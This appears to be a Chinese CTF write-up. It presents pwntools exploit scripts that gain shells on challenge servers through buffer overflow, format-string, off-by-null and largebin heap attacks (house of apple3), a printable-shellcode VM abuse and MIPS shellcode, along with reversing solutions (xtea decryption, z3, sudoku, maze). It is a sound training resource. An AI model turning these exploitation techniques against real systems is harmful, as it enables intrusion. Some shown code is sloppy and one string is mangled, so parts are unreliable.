题目下载链接:https://pan.baidu.com/s/1Os1X9j4DtdDRNnsRKv7Z3A?pwd=wgfj
2048游戏,简单手动测试了一下,发现输入过长的时候会直接崩溃,而且此时rsp指向我们输入的数据,但是直接cyclic进去会game over,所以我直接写了一个很大的payload,然后直接去找开头的标记,地址是0xff8135e0
,而崩溃时的esp指向0xff813a00
,所以只要输入0x420字节,后面接后门函数,由于不知道程序基地址,但是经过调试发现可以覆盖部分返回地址,所以覆盖为后门函数,需要爆破4bit:
from pwn import *
# context.log_level = 'debug'N = 1
while True:
info(f"try {N} : ")
# p = process("./p2048")
p = remote("39.106.48.123", 40427)
p.sendlineafter(b'\x20\xc2\xb7\x20', 'a' * (0x420 - 0x8) + 's' * 4 + '\x60\xde' + '\xff')
try:
p.sendline("id")
p.recv()
p.sendline("id")
p.recv()
except:
p.close()
else:
p.interactive()
上来先是一个登录,需要破解一个随机数,使用了srand(100)
做种子,所以随机数是可以预测的(实际上就是不变,直接调试就能看到密码是字符r)
然后有6个字节(8-2)的格式化字符串漏洞可以拿来做leak,然后edit有负数溢出,直接编辑got为system。
from pwn import *
context.log_level = 'debug'
# p = process("./easy_LzhiFTP")
p = remote("39.106.48.123", 13854)p.sendlineafter("Username", "1nv0k3r")
p.sendlineafter("Password", "r\x00")
p.sendlineafter("do you like my Server??(yes/No)", "No%6$p")
p.recvuntil("Your Choice:No")
base = int(p.recvuntil("\n")[:-1], 16) - 0x2096
success(f"base: {hex(base)}")
p.sendlineafter("IMLZH1-FTP> ", b"touch " + p64(base + 0x4018))
p.sendlineafter("write Context:", "a")
p.sendlineafter("IMLZH1-FTP> ", 'edit')
p.sendafter("idx:", "-16")
p.sendafter("Content: ", p64(base + 0x1080))
p.sendlineafter("IMLZH1-FTP> ", "touch shell")
p.sendlineafter("write Context:", "/bin/sh\x00")
p.sendlineafter("IMLZH1-FTP> ", "del")
p.sendlineafter("idx:", "1")
# free: 0x4018
# struc: 0x4b00
# system: 0x1080
p.interactive()
运行报错,搜索报错bad header,找到代码:
*(_QWORD *)&v9[4] = 0x8040804010051LL;
v7[0] = a1;
*(_DWORD *)v9 = 'auL\x1B';
sub_11830(v7, &v10, 12LL);
if ( *(_QWORD *)v9 != v10 || *(_DWORD *)&v9[8] != v11 )
sub_11800(v7, v8, "bad header");
v5 = sub_104B0(a1, "=?", 2uLL);
return sub_11950(v7, v5);
}
打个断点发现确实走到这里了,那么想办法让判断过去先,直接GDB里调试发现这里是check bins文件的文件头:
11FB2 cmp [rsp+58h+var_38], rax
$rax : 0x40100536c75411b
0x007fffffffb430│+0x0020: 0x0401005161754c1b
手动修改一下前几个字节就可以:
1B 41 75 6C 53 -> 1B 4C 75 61 51
然后跑起来了,根据字符串内容推测是经典堆题,先要过一个pass,简单逆向一下可以看出,是通过一个time(0)做种子生成四个范围在0x30(0)-0x5a(Z)的字符,然后计算sha256,这个我们可以直接爆破。
然后搜到lua字节码可以直接拿工具跑出来源码:
java -jar unluac.jar bins
在添加堆块结束之后,有一个push & ret的东西,应该是是作者手工改了汇编:
导致IDA的反编译看不到这段代码,这里只要把push到ret的指令nop掉就可以正常F5了:
接下来就是经典off by null环节,提供了8次分配0x100堆块,1次任意大小的堆块和任意次的0x4f0-0x520大小的堆块,所以用了how2heap的做法,需要爆破1/16,然后setcontext过一下orw。
from pwn import *
import itertools
import hashlibdef crack_sha256_hash(hash_to_crack):
chars = [i.to_bytes(1, 'little').decode('utf-8') for i in range(0x30, 0x30 + 43)]
for combination in itertools.product(chars, repeat=4): # 生成所有的四位字符组合
guess = ''.join(combination)
hashed_guess = hashlib.sha256(guess.encode()).hexdigest()
# print(hashed_guess)
if hashed_guess == hash_to_crack:
return guess
return "No match found"
p = process("./babyaul")
pause()
context.log_level = 'debug'
p.sendlineafter(">", "init_pass")
p.sendlineafter(">", "pass")
password = p.recvuntil("\n")[:-1].decode("utf-8")
# info(f"password: {password}")
p.sendlineafter("pass:", crack_sha256_hash(password))
def add(size, content):
p.sendlineafter(">", "add")
p.sendlineafter("size?", str(size))
if size == 0x100:
mode = 2
elif size >= 0x4f0 and size <= 0x520:
mode = 3
else:
mode = 1
p.sendlineafter("mode?", str(mode))
sleep(0.1)
p.send(content)
def free(index):
p.sendlineafter(">", "del")
p.sendlineafter("index?", str(index))
def get(index):
p.sendlineafter(">", "get")
p.sendlineafter("index?\n", str(index))
add(0x100, 'padding') # 0
add(0x500, 'prev') # 1
add(0x4f0, 'victim') # 2
add(0x100, 'g') # 3
add(0x4f0, 'a') # 4
add(0x100, 'g') # 5
add(0x510, 'b') # 6
add(0x100, 'g') # 7
free(4)
free(6)
free(1)
add(0x1000, 'l') # 1
add(0x500, p64(0) + p64(0x501)) # 4, victim->prev_size = 0x500
add(0x510, p16(0xe240)) # 6, b->fd = a
add(0x4f0, 'a2') # 8
free(8)
free(2)
add(0x4f0, p64(0) + p16(0xe240)) # 2
add(0x4f0, 'a') # 8
get(6)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xb240
free(4)
payload = p64(heap_base + 0xbd50) + p64(0x501) + p64(heap_base + 0xbd50) + p64(heap_base + 0xc360)
add(0x508, payload.ljust(0x500, b'\x00') + p64(0x500)) # 4
free(8)
add(0x100, 'a') # 8
get(8)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ed161
free_hook = libc_base + 0x1eee48
free(7)
free(8)
magic = libc_base + 0x0000000000151990 # : mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x00000000000c067d # : ret;
pop_rdi = libc_base + 0x0000000000023b6a # : pop rdi; ret;
pop_rsi = libc_base + 0x000000000002601f # : pop rsi; ret;
pop_rdx = libc_base + 0x0000000000142c92 # : pop rdx; ret;
setcontext_61 = libc_base + 0x54f5d
flag = heap_base + 0xb370
orw = p64(pop_rdi)
orw += p64(flag)
orw += p64(pop_rsi)
orw += p64(0)
orw += p64(libc_base + 0x10dce0) # open
orw += p64(pop_rdi)
orw += p64(3)
orw += p64(pop_rsi)
orw += p64(flag)
orw += p64(pop_rdx)
orw += p64(0x50)
orw += p64(libc_base + 0x10dfc0) # read
orw += p64(pop_rdi)
orw += p64(flag)
orw += p64(libc_base + 0x84420) # puts
payload = b''
payload += p64(setcontext_61)
payload += p64(heap_base + 0xb340)
payload += b'./flag\x00\x00'
payload += p64(0) * 13
payload += p64(heap_base + 0xb3e8) # mov rsp, [rdx + 0xa0]
payload += p64(ret)
payload += orw
payload = payload.ljust(0x3e0, b'\xff')
payload += p64(0x500)
payload += p64(0x111)
add(0x4f0, payload)
free(4)
add(0x500, p64(0) + p64(0x111) + p64(free_hook))
add(0x100, 'a')
add(0x100, p64(magic))
free(7)
p.interactive()
经典堆题,在free后没有置空导致了uaf,然后是glibc 2.35,给的libc去掉了符号导致调试器没法正确读取堆信息,所以需要复制一份带符号的libc过来,改一下名字就可以正常调试堆信息了。
我选择的是通过largebin attack做house of apple3,需要注意的是只有一次读写,刚好house of apple3的例题也是这样,所以甚至堆风水也可以抄。
from pwn import *# p = process("./pwn")
p = remote("39.106.48.123", 41557)
pause()
context.log_level = 'debug'
def add(idx, size):
while True:
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Select an area to explore: ", str(idx))
p.sendlineafter("Enter the size of the range you want to explore this time: ", str(size))
p.sendlineafter("Your decision: (1: yes / 0: no)", "0")
p.recvuntil("It seems that you are confident in yourself, move on.\n")
if p.recvuntil("\n") == b"Luckily, you didn't encounter a chaotic era.\n":
break
else:
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Select an area you want to abandon to return: ", str(idx))
def free(idx):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Select an area you want to abandon to return: ", str(idx))
def edit(idx, size, content):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Please select which area to talk to: ", str(idx))
p.sendlineafter("Since remote calls are costly, enter the specific number of words you want to send: ", str(size))
p.sendlineafter("Please write down your conclusions: ", content)
def show(idx):
p.sendlineafter("Your choice: ", "4")
p.sendlineafter("Select to enter an area to receive a signal from the Trisolarans: ", str(idx))
def pwn():
p.sendlineafter("Your choice: ", "5")
add(0, 0x538)
add(1, 0x538)
add(2, 0x528)
free(2)
free(1)
free(0)
add(3, 0x528)
add(4, 0x528)
add(5, 0x528)
add(6, 0x528)
free(3)
free(5)
show(3)
p.recvuntil("follows:\n")
libc = u64(p.recvuntil("\x00\x00")) - 0x219ce0
success(hex(libc))
heap = u64(p.recvuntil("\x00\x00")) - 0xcf0
success(hex(heap))
free(4)
free(6)
add(7, 0xa48)
add(8, 0x528)
add(9, 0x528)
free(8)
add(10, 0x558)
libc_elf = ELF("./libc-2.35.so")
target_addr = libc + libc_elf.sym["_IO_list_all"]
_lock = libc + 0x21ba60
_IO_wide_data_2 = libc + 0x2198a0
fake_IO_FILE = heap + 0xd10
_IO_wfile_jumps = libc + libc_elf.sym["_IO_wfile_jumps"]
mov_rax_rdi_call_rax = libc + 0x000000000015d65a # : mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10];
mov_rdi_from_rax = libc + 0x00000000001630f4 # : mov rdi, qword ptr [rax]; mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10];
mov_rdx_from_rdi = libc + 0x00000000001675b0 # : mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
bin_sh_addr = libc + 0x1d8698
system = libc + 0x50d60
f1 = flat({
0x0: p64(0), # _flags
0x08: p64(0x501), # _IO_read_ptr
0x88: p64(_lock), # _lock
0xa0: p64(_IO_wide_data_2), # _wide_data
0x98: p64(fake_IO_FILE + 0xe0), # _codecvt
0xd8: p64(_IO_wfile_jumps + 8) # vtable
}, filler="\x00")
payload = flat({
0x00: p64(0),
0x08: p64(target_addr - 0x20),
0x10: {
0: {
0: bytes(f1),
0xe0: p64(fake_IO_FILE + 0x100),
0x100: {
0: 0, # fp->_codecvt->__cd_in.step->__shlib_handle
0x28: p64(mov_rax_rdi_call_rax), # fp->_codecvt->__cd_in.step->__fct
0x38: p64(fake_IO_FILE + 0x140)
},
0x140: { # rax1
0: p64(fake_IO_FILE + 0x180), # rdi1
0x10: p64(mov_rdi_from_rax)
},
0x180: {
0: b'/bin/sh\x00',
0x38: p64(fake_IO_FILE + 0x1c0)
},
0x1c0: {
0x10: p64(system)
}
},
},
0x510: p64(0),
0x518: p64(0x541)
}, filler="\x00")
edit(5, len(payload), payload)
free(2)
add(11, 0x558)
pwn()
p.interactive()
提供playgame和shop两个选项
playgame先输入level,然后生成四个随机字符,过一个md5 check,可以爆破,成功后会加coin
shop四个选项,购买道具可以选择花费coin往bss上写可打印字符,扩充背包可以花费coin把背包扩充到最大512字节,使用道具是获取写进背包的前4字节,进一个类似虚拟机的东西,可以在栈上任意读写,直接改上级函数返回地址,然后查看背包有个格式化字符串漏洞,可以拿来做泄露。
那么我们首先就是把背包扩充到512字节,需要512*100的coin,然后每次往背包写1字节需要100coin,爆破1字节是200coin,只有爆破4字节给的比较多,有2000coin,可以测一下爆破时间,发现爆破100次1字节比10次4字节快很多,所以选择爆破1字节刷钱,实际测试由于远程IO交互速度严重拖慢运行时间,反而爆破4字节快很多,所以本地用1字节测试,远程用4字节
由于没给libc,所以先leak libc看一下远程版本确定是2.31,所以思路就是先用格式化字符串做泄露,然后用虚拟机功能覆写返回地址就可以,由于限制了输入字符只能是可打印字符(0x20-0x7E),而且没法覆盖到上个函数的返回地址(当前函数返回地址只覆盖一位会让程序没法继续进行),那么我们注意到操作码C可以把整个地址复制:
case 'C':
result = *(_QWORD *)&v5[v4 + 16];
*(_QWORD *)&v5[v2] = result;
break;
所以先在其他地方写好要写的数据,然后用操作码C覆盖上去。
利用两次异或和一次左移就可以输入任意字符,然后试着写了一下one gadget发现不行,接下来就是一直在想怎么搞ROP链,结果突然想起来开头mmap了一段已知地址(0x20000)的RWX段,直接跳到shellcode上就可以,找个可打印字符的shellcode,然后手算一下地址写上去就行了:
from tracemalloc import start
from pwn import *
import hashlib
import itertools
import time
p = process("./pwn")
# p = remote('39.106.48.123', 31564)
# pause()
# context.log_level = 'debug'
def md5_brute(pattern, md5):
alphabet = "abcdefghijklmnopqrstuvwxyz"
pattern_chars = [c for c in pattern] # Generate all possible combinations of letters for the missing positions
missing_chars = itertools.product(alphabet, repeat=4 - len(pattern_chars))
for chars in missing_chars:
plaintext = "".join(list(chars) + pattern_chars)
hashed = hashlib.md5(plaintext.encode()).hexdigest()
if hashed == md5:
return plaintext
return None
def play_game():
p.sendlineafter(">> ", "1")
p.sendlineafter("Please enter your level : ", "1")
start_time = time.time()
for i in range(512):
p.recvuntil("MD5(")
code = p.recvuntil(")")[:-1]
p.recvuntil(" == ")
md5 = p.recvuntil("\n")[:-1]
give = md5_brute(code.replace(b"?", b"").decode("utf-8"), md5.decode("utf-8"))
p.sendlineafter("Give me : ", give)
end_time = time.time()
success(f"TIME: {end_time - start_time}")
p.sendlineafter("Give me : ", "END")
def expansion_pack():
p.sendlineafter(">> ", "2")
p.sendlineafter(">> ", "2")
p.sendlineafter("What size do you need : \n", "512")
def input_str(input):
p.sendlineafter(">> ", "2")
p.sendlineafter(">> ", "1")
p.sendlineafter("Enter the letter you want to purchase\n", input)
def format_string_exec():
p.sendlineafter(">> ", "2")
p.sendlineafter(">> ", "4")
def exec_vm():
p.sendlineafter(">> ", "2")
p.sendlineafter(">> ", "3")
play_game()
expansion_pack()
# p.interactive()
shellcode = b'XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00'
input_str("%11$p")
format_string_exec()
p.recvuntil("40x")
libc = int(p.recvuntil("\n")[:-1], 16) - 0x24083
success(hex(libc))
one_gadget = libc + 0xe3afe
pop_rsp_ret = libc + 0x000000000002f70a # : pop rsp; ret;
pop_rdi_ret = libc + 0x0000000000023b6a # : pop rdi; ret;
binsh = libc + 0x001b45bd # /bin/sh
system_addr = libc + 0x52290
rax = b'0'
rbx = b'1'
rcx = b'2'
target = p8(0x57)
pattern = b'0'
mov = b'A'
xor = b'I'
shift_l = b'J'
cmd = b''
# 0x007fab3ac99af4a0
# 0x007fab3abb6000
# success(hex(one_gadget))
# 8 - 15
payload = b''
# payload += p64(pop_rdi_ret)
# payload += p64(binsh)
payload += p32(0x20064)
for i in payload:
for j in range(0x41, 0x7e + 1):
for k in range(0x41, 0x7e + 1):
for l in range(0x41, 0x7e + 1):
if (((j - 55) ^ (k - 55)) << 1) ^ (l - 55) == i:
cmd += mov + rax + pattern + j.to_bytes(1, 'little')
cmd += mov + rbx + pattern + k.to_bytes(1, 'little')
cmd += mov + rcx + pattern + l.to_bytes(1, 'little')
cmd += xor + rax + rax + rbx
cmd += shift_l + rax + rax + pattern
cmd += xor + target + rax + rcx
target = p8(u8(target) + 1)
break
else:
continue
break
else:
continue
break
cmd += b'C' + b'\x6f' + pattern + b'\x47'
print(cmd)
input_str(cmd + shellcode)
print(cmd + shellcode)
exec_vm()
p.interactive()
mips题,首先需要获取金币,虽然写了随机数但是没什么用,每轮可以获取的最大金币数只和层数有关,所以直接跑出来最大金币数,然后在99层的时候,去shopping买东西就可以,然后会给一个16字节ASCII的shellcode执行,结果调试(用qemu+gdb-multiarch)发现程序已经写好了syscall execve的shellcode,并且在a0写好了/bin/sh的地址:
A0 0x407ff930 ◂— '//bin/sh'
A1 0xc
A2 0x1
A3 0x0 0x407ff980 andi $a1, $t3, 0x6160
0x407ff984 andi $a2, $t3, 0x6160
0x407ff988 addiu $v0, $zero, 0xfab
► 0x407ff98c syscall <SYS_execve>
path: 0x407ff930 ◂— '//bin/sh'
argv: 0x0
envp: 0x0
我们只需要用两句shellcode清空一下a1和a2,让shellcode正常执行就可以shell了,然后就是手动测一下哪些shellcode在printable里,由于mips是32位定长指令,所以直接看指令格式就可以计算出来:
from pwn import *
context(arch='mips',endian='little',log_level='debug')
DEBUG = Falseif DEBUG:
p = process(["qemu-mipsel-static","-g", "1234", "-L","./","./pwn"])
else:
# p = process(["qemu-mipsel-static", "-L","./","./pwn"])
p = remote("39.106.65.110", 33086)
def get_coin(i):
p.sendlineafter("Go> \n", "1")
p.sendlineafter("How much do you want?\n", str(i))
for i in range(99):
get_coin((0x7c6ed291 % 0x1bf52) % (i + 1))
p.sendlineafter("Go> \n", "3")
p.sendlineafter("> \n", "3")
p.sendlineafter("Go> \n", "3")
p.sendlineafter("> \n", "2")
p.sendlineafter("Go> \n", "1")
p.sendlineafter("How much do you want?\n", "0")
shellcode = asm("""
andi $a1,$t3,0x6160;
andi $a2,$t3,0x6160;
""")
p.sendafter("Shellcode > \n", shellcode)
p.interactive()
# 26 30 c6 00
# 0011,00 01/010 0,0101/
# 0011,00 xx/xxx 0,0102
输入50个0-9字符,然后内存看到一个81字节的matrix,一眼数独,dump出来找个在线计算的即可得到flag
matrix = [0x05, 0x03, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x01, 0x09, 0x05, 0x00, 0x00, 0x00, 0x00, 0x09, 0x08, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x03, 0x04, 0x00, 0x00, 0x08, 0x00, 0x03, 0x00, 0x00, 0x01, 0x07, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x09, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x07, 0x09]m = []
for i in range(9):
m.append(matrix[i * 9 : (i * 9) + 9])
import random
import sys
sys.setrecursionlimit(100000) # 发现python默认的递归深度是很有限的
#(默认是1000),因此当递归深度超过999的
# 样子,就会引发这样的一个异常。
def get_next(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:获得下一个空白格在数独中的坐标。
"""
for next_y in range(y+1, 9): # 下一个空白格和当前格在一行的情况
if m[x][next_y] == 0:
return x, next_y
for next_x in range(x+1, 9): # 下一个空白格和当前格不在一行的情况
for next_y in range(0, 9):
if m[next_x][next_y] == 0:
return next_x, next_y
return -1, -1 # 若不存在下一个空白格,则返回 -1,-1
def value(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:返回符合"每个横排和竖排以及
九宫格内无相同数字"这个条件的有效值。
"""
i, j = x//3, y//3
grid = [m[i*3+r][j*3+c] for r in range(3) for c in range(3)]
v = set([x for x in range(1,10)]) - set(grid) - set(m[x]) - \
set(list(zip(*m))[y])
return list(v)
def start_pos(m:"数独矩阵"):
""" 功能:返回第一个空白格的位置坐标"""
for x in range(9):
for y in range(9):
if m[x][y] == 0:
return x, y
return False, False # 若数独已完成,则返回 False, False
def try_sudoku(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
""" 功能:试着填写数独 """
for v in value(m, x, y):
m[x][y] = v
next_x, next_y = get_next(m, x, y)
if next_y == -1: # 如果无下一个空白格
return True
else:
end = try_sudoku(m, next_x, next_y) # 递归
if end:
return True
m[x][y] = 0 # 在递归的过程中,如果数独没有解开,
# 则回溯到上一个空白格
def sudoku(m):
x, y = start_pos(m)
try_sudoku(m, x, y)
print(m)
import copy
n = copy.deepcopy(m)
sudoku(m)
flag = ''
for i in range(9):
for j in range(9):
if n[i][j] == 0:
flag += str(m[i][j])
print(flag)
Linux程序,加了upx壳,并且去掉了特征字符串导致没法用upx一键脱壳,只能用ida动态调试,而且没法启动,需要通过附加的方式调试,然后选择check flag功能,可以断到关键函数:
puts("##############", a2, v22);
printf((int)"\ninput flag: ", a2, v2, v3, v4, v5, v9);
scanf("%s", v22);
getchar();
for ( i = 0; v22[i]; i += 2 )
{
v13 = v22[i];
v14 = v22[i + 1];
v6 = &v13;
sub_7F56CAE07403(dword_7F56CAE0A030, (unsigned int *)&v13, (__int64)v16);
v22[i] = v13;
v7 = (unsigned int)(i + 1);
v22[(int)v7] = v14;
}
for ( j = 0; v22[j]; j += 2 )
{
v17 = dword_7F56CAE0A1E0[j];
v18 = dword_7F56CAE0A1E0[j + 1];
v19 = v22[j];
v20 = v22[j + 1];
v7 = v17;
if ( v17 == v19 )
{
v7 = v18;
if ( v18 == v20 )
continue;
}
v10 = 0;
break;
}
if ( v10 )
puts("Your input is correct.", v6, v7);
else
puts("Your input is incorrect.", v6, v7);
__int64 __fastcall sub_7F56CAE07403(int a1, unsigned int *a2, __int64 a3)
{ v5 = *a2;
v6 = a2[1];
v7 = 0;
for ( i = 0; i < a1; ++i )
{
v5 += (v6 + ((v6 >> 5) ^ (16 * v6))) ^ (*(_DWORD *)(4LL * (v7 & 3) + a3) + v7);
v7 -= 0x41104111;
v6 += (v5 + ((v5 >> 5) ^ (16 * v5))) ^ (*(_DWORD *)(4LL * ((v7 >> 11) & 3) + a3) + v7);
}
*a2 = v5;
result = v6;
a2[1] = v6;
return result;
}
一眼xtea,a2是明文,a3是key,可以看到key是5,2,9,7,然后flag按8字节进行加密,结果进行比对,直接dump出结果进行解密:
#include <stdio.h>
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0xbeefbeef;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0xbeefbeef, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t const k[4]={5,2,9,7};
unsigned int r=36;
unsigned char ida_chars[] =
{
0x01, 0xA3, 0xFD, 0xEC, 0xF5, 0xCD, 0xBE, 0x61, 0x7D, 0x6C,
0x9E, 0xB8, 0x68, 0xDC, 0x36, 0xCE, 0x9E, 0x53, 0x6E, 0x4B,
0x04, 0xB5, 0x2E, 0x64, 0x3C, 0xD3, 0xF9, 0x54, 0x65, 0xE3,
0x06, 0x6D, 0x53, 0x3D, 0x87, 0xEA, 0x07, 0x85, 0x61, 0xA4,
0x30, 0x8E, 0xB1, 0xD7, 0x42, 0x40, 0x5B, 0xC4
};
for (int i = 0; i < strlen(ida_chars); i += 8){
uint32_t v[2] = {0x0};
for (int j = 0; j < 4; j ++){
v[0] += (ida_chars[j + i] << (8 * j));
v[1] += (ida_chars[j + i + 4] << (8 * j));
}
decipher(r, v, k);
printf(v);
}
}
pyinstaller打包,找工具直接得到py源码https://xz.aliyun.com/t/10450#toc-11
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0]
# Embedded file name: run.py
import base64, zlib, ctypes
try:
mylib = ctypes.cdll.LoadLibrary('./mylib.so')
except:
print('file no exit!')
else:
a = []
try:
sstr = input("Please enter the 10 digits and ending with '\\n': ").split(' ')
if len(sstr) == 10:
for i in sstr:
a.append(int(i)) mylib.check.argtypes = (
ctypes.POINTER(ctypes.c_int), ctypes.c_int)
mylib.check.restype = ctypes.c_char_p
scrambled_code_string = mylib.check((ctypes.c_int * len(a))(*a), len(a))
try:
decoded_data = base64.b64decode(scrambled_code_string)
uncompressed_data = zlib.decompress(decoded_data)
exec(__import__('marshal').loads(uncompressed_data))
except:
print('Incorrect input caused decryption failure!')
except:
pass
在mylib.so里,调用了一个check函数:
if ( -27 * a1[7]
+ -11 * a1[6]
+ 16 * a1[5]
+ *a1
+ 2 * a1[1]
- a1[2]
+ 8 * a1[3]
- 14 * a1[4]
+ 26 * a1[8]
+ 17 * a1[9] != 14462
|| -30 * a1[8] + 13 * a1[5] + a1[3] + a1[1] + 2 * *a1 - 15 * a1[4] - 24 * a1[6] + 16 * a1[7] + 36 * a1[9] != -2591
|| 16 * a1[6]
+ -21 * a1[5]
+ 7 * a1[3]
+ 3 * a1[1]
- *a1
- a1[2]
+ 12 * a1[4]
- 23 * a1[7]
+ 25 * a1[8]
- 18 * a1[9] != 2517
|| -6 * a1[6] + 2 * a1[2] - a1[1] + 2 * a1[5] + 9 * a1[7] + 2 * a1[8] - 5 * a1[9] != 203
|| -5 * a1[8] + 6 * a1[7] + 3 * a1[1] - a1[3] - a1[5] + a1[6] + 5 * a1[9] != 3547
|| -9 * a1[8] + a1[4] + a1[2] + a1[7] - 5 * a1[9] != -7609
|| 2 * a1[5] + -a1[3] - a1[4] + a1[8] + 6 * a1[9] != 4884
|| a1[6] - a1[7] + 2 * a1[8] != 1618
|| a1[4] - a1[6] + 2 * a1[9] != 1096
|| a1[8] + a1[4] + a1[3] + a1[2] + a1[1] + *a1 - a1[5] - a1[6] - a1[7] - a1[9] != 711
|| 2 * (2 * a1[4] + a1[3]) + 5 * a1[5] != '\x1B\xEF' )
{
return 0LL;
}
写个z3求一下:
from z3 import *
s = Solver()input = []
for i in range(10):
input.append(Int(f"input{i}"))
# s.add(input[i] > 0, input[i] < 256)
s.add(-27 * input[7] - 11 * input[6] + 16 * input[5] + input[0] + 2 * input[1] - input[2] + 8 * input[3] - 14 * input[4] + 26 * input[8] + 17 * input[9] == 14462)
s.add(-30 * input[8] + 13 * input[5] + input[3] + input[1] + 2 * input[0] - 15 * input[4] - 24 * input[6] + 16 * input[7] + 36 * input[9] == -2591)
s.add(16 * input[6] - 21 * input[5] + 7 * input[3] + 3 * input[1] - input[0] - input[2] + 12 * input[4] - 23 * input[7] + 25 * input[8] - 18 * input[9] == 2517)
s.add(-6 * input[6] + 2 * input[2] - input[1] + 2 * input[5] + 9 * input[7] + 2 * input[8] - 5 * input[9] == 203)
s.add(-5 * input[8] + 6 * input[7] + 3 * input[1] - input[3] - input[5] + input[6] + 5 * input[9] == 3547)
s.add(-9 * input[8] + input[4] + input[2] + input[7] - 5 * input[9] == -7609)
s.add(2 * input[5] - input[3] - input[4] + input[8] + 6 * input[9] == 4884)
s.add(input[6] - input[7] + 2 * input[8] == 1618)
s.add(input[4] - input[6] + 2 * input[9] == 1096)
s.add(input[8] + input[4] + input[3] + input[2] + input[1] + input[0] - input[5] - input[6] - input[7] - input[9] == 711)
s.add(2 * (2 * input[4] + input[3]) + 5 * input[5] == 7151)
if s.check() == sat:
m = s.model()
print(m)
else:
print('unsat')
# [input5 = 637,
# input8 = 648,
# input7 = 575,
# input9 = 738,
# input0 = 511,
# input1 = 112,
# input2 = 821,
# input3 = 949,
# input4 = 517,
# input6 = 897]
# 511 112 821 949 517 637 897 575 648 738
然后可以运行到下面的exec(__import__('marshal').loads(uncompressed_data))
,保存成文件,从struct.pyc复制一个头部过去,然后用uncompyle6就可以得到源码了:
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0]
# Embedded file name: sample.py
footprint = '3qzqns4hj6\neeaxc!4a-%\[email protected]\nf1gd1v7hdm\n1+$-953}81\na^21vbnm3!\n-#*f-e1d8_\n2ty9uipok-\n6r1802f7d1\n9wez1c-f{0'
xx0000 = []
footprintlist = footprint.split('\n')
for i in range(len(footprintlist)):
xx0000.append(list(footprintlist[i]))
else: def xxxx000x0(num):
xx000000 = format(num, '010b')
return xx000000
oxooxxxxxoooo = []
xx0000000 = input("Please enter the previous 10 digits again and ending with '\\n': ").split(' ')
if len(xx0000000) == 10:
try:
for i in xx0000000:
oxooxxxxxoooo.append(int(i))
except:
print('err input!')
exit(-1)
else:
print('err input!')
exit(-1)
for i in range(len(oxooxxxxxoooo)):
oxooxxxxxoooo[i] = list(xxxx000x0(oxooxxxxxoooo[i]))
else:
xx0000x000 = oxooxxxxxoooo
x, o = (0, 0)
xx00x00x0xxx00 = [(x, o)]
xx00x00x0xxx00input = list(input('input maze path:'))
count = 0
while (x, o) != (9, 9):
if count < len(xx00x00x0xxx00input):
xx0000x0xxx00 = xx00x00x0xxx00input[count]
if xx0000x0xxx00 == 'a':
if o > 0 and xx0000x000[x][o - 1] == '0':
o -= 1
count += 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
elif xx0000x0xxx00 == 'd':
if o < 9 and xx0000x000[x][o + 1] == '0':
count += 1
o += 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
else:
if xx0000x0xxx00 == 'w':
if x > 0 and xx0000x000[x - 1][o] == '0':
count += 1
x -= 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
else:
if xx0000x0xxx00 == 's':
if x < 9 and xx0000x000[x + 1][o] == '0':
count += 1
x += 1
xx00x00x0xxx00.append((x, o))
else:
print('wrong!')
exit(-1)
else:
print('wrong!')
exit(-1)
else:
print('wrong!')
exit(-1)
print('right! you maybe got it,flag is flag{the footprint of the maze path}')
可以看出来是一个wasd的走迷宫,加一点代码打印出来,手动走一下:
0111111111
0001110000
1100110101
1110110101
1000000101
1001111101
1110000001
1000111111
1010001000
1011100010
